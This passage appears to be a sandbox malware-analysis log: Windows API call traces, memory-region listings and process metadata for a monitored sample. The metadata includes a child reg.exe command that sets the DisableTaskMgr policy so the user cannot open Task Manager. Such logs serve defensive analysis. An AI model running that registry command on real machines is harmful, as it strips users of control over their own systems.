dwFlags=0x0, lpMem=0x42f500 | out: hHeap=0x410000) returned 1 [0100.798] GetProcessHeap () returned 0x410000 [0100.798] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x426e30 | out: hHeap=0x410000) returned 1 [0100.798] GetProcessHeap () returned 0x410000 [0100.798] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x42f490 | out: hHeap=0x410000) returned 1 [0100.798] GetProcessHeap () returned 0x410000 [0100.798] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x42bc40 | out: hHeap=0x410000) returned 1 [0100.799] GetProcessHeap () returned 0x410000 [0100.799] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x42ba20 | out: hHeap=0x410000) returned 1 [0100.799] GetProcessHeap () returned 0x410000 [0100.799] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x43aa10 | out: hHeap=0x410000) returned 1 [0100.799] GetProcessHeap () returned 0x410000 [0100.800] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x42f430 | out: hHeap=0x410000) returned 1 [0100.831] GetProcessHeap () returned 0x410000 [0100.832] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x42f3d0 | out: hHeap=0x410000) returned 1 [0100.832] GetProcessHeap () returned 0x410000 [0100.832] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x4379a0 | out: hHeap=0x410000) returned 1 [0100.832] GetProcessHeap () returned 0x410000 [0100.832] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x42f320 | out: hHeap=0x410000) returned 1 [0100.832] _get_osfhandle (_FileHandle=1) returned 0x7 [0100.832] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0100.833] _get_osfhandle (_FileHandle=1) returned 0x7 [0100.833] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a64e194 | out: lpMode=0x4a64e194) returned 1 [0100.833] _get_osfhandle (_FileHandle=0) returned 0x3 [0100.833] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a64e198 | out: lpMode=0x4a64e198) returned 1 [0100.833] SetConsoleInputExeNameW () returned 0x1 [0100.833] GetConsoleOutputCP () returned 0x1b5 [0100.834] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a65bfe0 | out: lpCPInfo=0x4a65bfe0) returned 1 [0100.834] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0100.834] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dtIah84Nm9.bat" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\dtiah84nm9.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x2bf468, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff [0100.834] GetLastError () returned 0x2 [0100.834] _get_osfhandle (_FileHandle=2) returned 0xb [0100.834] GetFileType (hFile=0xb) returned 0x2 [0100.835] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0100.835] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x2bf3e8 | out: lpMode=0x2bf3e8) returned 1 [0100.835] _get_osfhandle (_FileHandle=2) returned 0xb [0100.835] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xb, lpConsoleScreenBufferInfo=0x2bf420 | out: lpConsoleScreenBufferInfo=0x2bf420) returned 1 [0100.836] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x236c, dwLanguageId=0x0, lpBuffer=0x4a666340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="The batch file cannot be found.\r\n") returned 0x21 [0100.836] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x236c, dwLanguageId=0x0, lpBuffer=0x4a666340, nSize=0x2000, Arguments=0x2bf490 | out: lpBuffer="The batch file cannot be found.\r\n") returned 0x21 [0100.836] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x4a666340*, nNumberOfCharsToWrite=0x21, lpNumberOfCharsWritten=0x2bf410, lpReserved=0x0 | out: lpBuffer=0x4a666340*, lpNumberOfCharsWritten=0x2bf410*=0x21) returned 1 [0100.838] CmdBatNotification () returned 0x0 [0100.838] _get_osfhandle (_FileHandle=1) returned 0x7 [0100.838] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0100.838] _get_osfhandle (_FileHandle=1) returned 0x7 [0100.839] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a64e194 | out: lpMode=0x4a64e194) returned 1 [0100.840] _get_osfhandle (_FileHandle=0) returned 0x3 [0100.840] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a64e198 | out: lpMode=0x4a64e198) returned 1 [0100.840] SetConsoleInputExeNameW () returned 0x1 [0100.840] GetConsoleOutputCP () returned 0x1b5 [0100.840] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a65bfe0 | out: lpCPInfo=0x4a65bfe0) returned 1 [0100.840] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0100.840] exit (_Code=1) Process: id = "69" image_name = "reg.exe" filename = "c:\\windows\\syswow64\\reg.exe" page_root = "0x3a625000" os_pid = "0x9b8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xe70" cmd_line = "reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableTaskMgr /t REG_DWORD /d 1 /f" cur_dir = "C:\\hyperWinhost\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 5204 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 5205 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 5206 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 5207 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 5208 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 5209 start_va = 0xe0000 end_va = 0x11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 5210 start_va = 0x1a0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 5211 start_va = 0x260000 end_va = 0x2b1fff monitored = 1 entry_point = 0x261bca region_type = mapped_file name = "reg.exe" filename = "\\Windows\\SysWOW64\\reg.exe" (normalized: "c:\\windows\\syswow64\\reg.exe") Region: id = 5212 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5213 start_va = 0x77dc0000 end_va = 0x77f3ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 5214 start_va = 0x7efb0000 end_va = 0x7efd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 5215 start_va = 0x7efdb000 end_va = 0x7efddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 5216 start_va = 0x7efde000 end_va = 0x7efdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 5217 start_va = 0x7efdf000 end_va = 0x7efdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 5218 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 5219 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 5220 start_va = 0x7fff0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 5222 start_va = 0x2c0000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 5223 start_va = 0x756b0000 end_va = 0x756eefff monitored = 0 entry_point = 0x756de088 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 5224 start_va = 0x75650000 end_va = 0x756abfff monitored = 0 entry_point = 0x7568f9f4 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 5225 start_va = 0x75640000 end_va = 0x75647fff monitored = 0 entry_point = 0x756420f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 5226 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 5227 start_va = 0x77270000 end_va = 0x7737ffff monitored = 0 entry_point = 0x77283283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 5228 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 5229 start_va = 0x779c0000 end_va = 0x77adefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000779c0000" filename = "" Region: id = 5230 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 5231 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000077ae0000" filename = "" Region: id = 5232 start_va = 0x460000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 5233 start_va = 0x77270000 end_va = 0x7737ffff monitored = 0 entry_point = 0x77283283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 5234 start_va = 0x77560000 end_va = 0x775a6fff monitored = 0 entry_point = 0x775674c1 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 5247 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 5248 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 5249 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 5250 start_va = 0x20000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 5251 start_va = 0x70000 end_va = 0xd6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5252 start_va = 0x76940000 end_va = 0x769dffff monitored = 0 entry_point = 0x769549e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 5253 start_va = 0x76e20000 end_va = 0x76ecbfff monitored = 0 entry_point = 0x76e2a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 5254 start_va = 0x77210000 end_va = 0x77228fff monitored = 0 entry_point = 0x77214975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 5255 start_va = 0x77840000 end_va = 0x7792ffff monitored = 0 entry_point = 0x77850569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 5256 start_va = 0x75910000 end_va = 0x7596ffff monitored = 0 entry_point = 0x7592a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 5257 start_va = 0x75900000 end_va = 0x7590bfff monitored = 0 entry_point = 0x759010e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 5258 start_va = 0x77000000 end_va = 0x770fffff monitored = 0 entry_point = 0x7701b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 5271 start_va = 0x76d90000 end_va = 0x76e1ffff monitored = 0 entry_point = 0x76da6343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 5272 start_va = 0x76b00000 end_va = 0x76b09fff monitored = 0 entry_point = 0x76b036a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 5273 start_va = 0x77380000 end_va = 0x7741cfff monitored = 0 entry_point = 0x773b3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 5274 start_va = 0x77230000 end_va = 0x77264fff monitored = 0 entry_point = 0x7723145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 5275 start_va = 0x77d90000 end_va = 0x77d95fff monitored = 0 entry_point = 0x77d91782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 5276 start_va = 0x75bd0000 end_va = 0x75c26fff monitored = 0 entry_point = 0x75be9ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 5277 start_va = 0x2c0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 5278 start_va = 0x3e0000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 5279 start_va = 0x120000 end_va = 0x13dfff monitored = 0 entry_point = 0x13158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 5280 start_va = 0x680000 end_va = 0x807fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000680000" filename = "" Region: id = 5281 start_va = 0x120000 end_va = 0x13dfff monitored = 0 entry_point = 0x13158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 5282 start_va = 0x77190000 end_va = 0x771effff monitored = 0 entry_point = 0x771a158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 5283 start_va = 0x75ad0000 end_va = 0x75b9bfff monitored = 0 entry_point = 0x75ad168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 5284 start_va = 0x810000 end_va = 0x990fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000810000" filename = "" Region: id = 5285 start_va = 0x9a0000 end_va = 0x1d9ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009a0000" filename = "" Region: id = 5286 start_va = 0x30000 end_va = 0x38fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "reg.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\reg.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\reg.exe.mui") Region: id = 5287 start_va = 0x120000 end_va = 0x120fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 5288 start_va = 0x130000 end_va = 0x130fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 5289 start_va = 0x1da0000 end_va = 0x206efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 5337 start_va = 0x2c0000 end_va = 0x37ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 5338 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Thread: id = 224 os_tid = 0x9bc [0094.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x11fec0 | out: lpSystemTimeAsFileTime=0x11fec0*(dwLowDateTime=0x610990a0, dwHighDateTime=0x1d9eb0c)) [0094.773] GetCurrentProcessId () returned 0x9b8 [0094.773] GetCurrentThreadId () returned 0x9bc [0094.774] GetTickCount () returned 0x176cdd1 [0094.774] QueryPerformanceCounter (in: lpPerformanceCount=0x11feb8 | out: lpPerformanceCount=0x11feb8*=2490125710092) returned 1 [0094.774] GetModuleHandleA (lpModuleName=0x0) returned 0x260000 [0094.774] __set_app_type (_Type=0x1) [0094.774] __p__fmode () returned 0x76ec31f4 [0094.775] __p__commode () returned 0x76ec31fc [0094.775] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x26d4f9) returned 0x0 [0094.777] __wgetmainargs (in: _Argc=0x26f030, _Argv=0x26f038, _Env=0x26f034, _DoWildCard=0, _StartInfo=0x26f010 | out: _Argc=0x26f030, _Argv=0x26f038, _Env=0x26f034) returned 0 [0094.778] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="add", cchCount1=-1, lpString2="QUERY", cchCount2=-1) returned 1 [0094.781] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="add", cchCount1=-1, lpString2="ADD", cchCount2=-1) returned 2 [0094.781] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", phkResult=0x11fe40 | out: phkResult=0x11fe40*=0x0) returned 0x2 [0094.781] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="add", cchCount1=-1, lpString2="ADD", cchCount2=-1) returned 2 [0094.781] lstrlenW (lpString="-?|/?|-h|/h") returned 11 [0094.781] GetProcessHeap () returned 0x580000 [0094.781] RtlAllocateHeap (HeapHandle=0x580000, Flags=0xc, Size=0x10) returned 0x58f490 [0094.782] lstrlenW (lpString="") returned 0 [0094.782] GetProcessHeap () returned 0x580000 [0094.782] RtlAllocateHeap (HeapHandle=0x580000, Flags=0xc, Size=0x2) returned 0x593fe8 [0094.782] GetProcessHeap () returned 0x580000 [0094.782] RtlAllocateHeap (HeapHandle=0x580000, Flags=0xc, Size=0x14) returned 0x593e48 [0094.782] GetProcessHeap () returned 0x580000 [0094.782] RtlAllocateHeap (HeapHandle=0x580000, Flags=0xc, Size=0x10) returned 0x58f4a8 [0094.782] GetProcessHeap () returned 0x580000 [0094.782] RtlAllocateHeap (HeapHandle=0x580000, Flags=0xc, Size=0x14) returned 0x593e68 [0094.782] GetProcessHeap () returned 0x580000 [0094.782] RtlAllocateHeap (HeapHandle=0x580000, Flags=0xc, Size=0x14) returned 0x593e88 [0094.782] GetProcessHeap () returned 0x580000 [0094.782] RtlAllocateHeap (HeapHandle=0x580000, Flags=0xc, Size=0x14) returned 0x593ea8 [0094.782] GetProcessHeap () returned 0x580000 [0094.782] RtlAllocateHeap (HeapHandle=0x580000, Flags=0xc, Size=0x14) returned 0x593ec8 [0094.782] GetProcessHeap () returned 0x580000 [0094.782] RtlAllocateHeap (HeapHandle=0x580000, Flags=0xc, Size=0x10) returned 0x58f4c0 [0094.782] GetProcessHeap () returned 0x580000 [0094.782] RtlAllocateHeap (HeapHandle=0x580000, Flags=0xc, Size=0x14) returned 0x5951e8 [0094.782] GetProcessHeap () returned 0x580000 [0094.782] RtlAllocateHeap (HeapHandle=0x580000, Flags=0xc, Size=0x14) returned 0x595208 [0094.782] GetProcessHeap () returned 0x580000 [0094.782] RtlAllocateHeap (HeapHandle=0x580000, Flags=0xc, Size=0x14) returned 0x595228 [0094.782] GetProcessHeap () returned 0x580000 [0094.782] RtlAllocateHeap (HeapHandle=0x580000, Flags=0xc, Size=0x14) returned 0x595248 [0094.783] GetProcessHeap () returned 0x580000 [0094.783] RtlAllocateHeap (HeapHandle=0x580000, Flags=0xc, Size=0x10) returned 0x58f4d8 [0094.783] GetProcessHeap () returned 0x580000 [0094.783] RtlAllocateHeap (HeapHandle=0x580000, Flags=0xc, Size=0x14) returned 0x595268 [0094.783] GetProcessHeap () returned 0x580000 [0094.783] RtlAllocateHeap (HeapHandle=0x580000, Flags=0xc, Size=0x14) returned 0x595288 [0094.783] GetProcessHeap () returned 0x580000 [0094.783] RtlAllocateHeap (HeapHandle=0x580000, Flags=0xc, Size=0x14) returned 0x5952a8 [0094.783] GetProcessHeap () returned 0x580000 [0094.783] RtlAllocateHeap (HeapHandle=0x580000, Flags=0xc, Size=0x14) returned 0x5952c8 [0094.783] SetThreadUILanguage (LangId=0x0) returned 0x409 [0094.784] GetProcessHeap () returned 0x580000 [0094.784] RtlAllocateHeap (HeapHandle=0x580000, Flags=0xc, Size=0x10) returned 0x58f4f0 [0094.784] _memicmp (_Buf1=0x58f4f0, _Buf2=0x261318, _Size=0x7) returned 0 [0094.784] GetProcessHeap () returned 0x580000 [0094.784] RtlAllocateHeap (HeapHandle=0x580000, Flags=0xc, Size=0x1e) returned 0x5943a8 [0094.784] lstrlenW (lpString="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 62 [0094.784] GetProcessHeap () returned 0x580000 [0094.784] RtlAllocateHeap (HeapHandle=0x580000, Flags=0xc, Size=0x10) returned 0x58f508 [0094.784] _memicmp (_Buf1=0x58f508, _Buf2=0x261318, _Size=0x7) returned 0 [0094.784] GetProcessHeap () returned 0x580000 [0094.784] RtlAllocateHeap (HeapHandle=0x580000, Flags=0xc, Size=0x84) returned 0x595468 [0094.784] _vsnwprintf (in: _Buffer=0x5943a8, _BufferCount=0xe, _Format="|%s|", _ArgList=0x11fd5c | out: _Buffer="|-?|/?|-h|/h|") returned 13 [0094.784] _vsnwprintf (in: _Buffer=0x595468, _BufferCount=0x41, _Format="|%s|", _ArgList=0x11fd5c | out: _Buffer="|HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System|") returned 64 [0094.785] lstrlenW (lpString="|-?|/?|-h|/h|") returned 13 [0094.785] lstrlenW (lpString="|HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System|") returned 64 [0094.785] SetLastError (dwErrCode=0x490) [0094.785] lstrlenW (lpString="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 62 [0094.785] GetProcessHeap () returned 0x580000 [0094.785] RtlAllocateHeap (HeapHandle=0x580000, Flags=0xc, Size=0x7e) returned 0x5954f8 [0094.785] lstrlenW (lpString="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 62 [0094.785] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0094.785] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0094.785] StrChrW (lpStart=" \x09", wMatch=0x4b) returned 0x0 [0094.785] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0094.785] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0094.785] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0094.785] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0094.785] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0094.785] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0094.785] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0094.785] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0094.785] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0094.785] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0094.785] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0094.786] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0094.786] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0094.786] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0094.786] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0094.786] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0094.786] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0094.786] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0094.786] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0094.786] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0094.786] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0094.786] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0094.786] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0 [0094.786] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0094.786] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0094.786] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0094.786] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0094.786] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0094.786] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0094.786] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0094.786] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0094.786] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0094.786] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0094.786] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0094.787] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0094.787] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0094.787] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0094.787] StrChrW (lpStart=" \x09", wMatch=0x56) returned 0x0 [0094.787] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0094.787] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0094.787] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0094.787] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0094.787] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0094.787] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0094.787] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0094.787] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0094.787] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0094.787] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0094.787] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0094.787] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 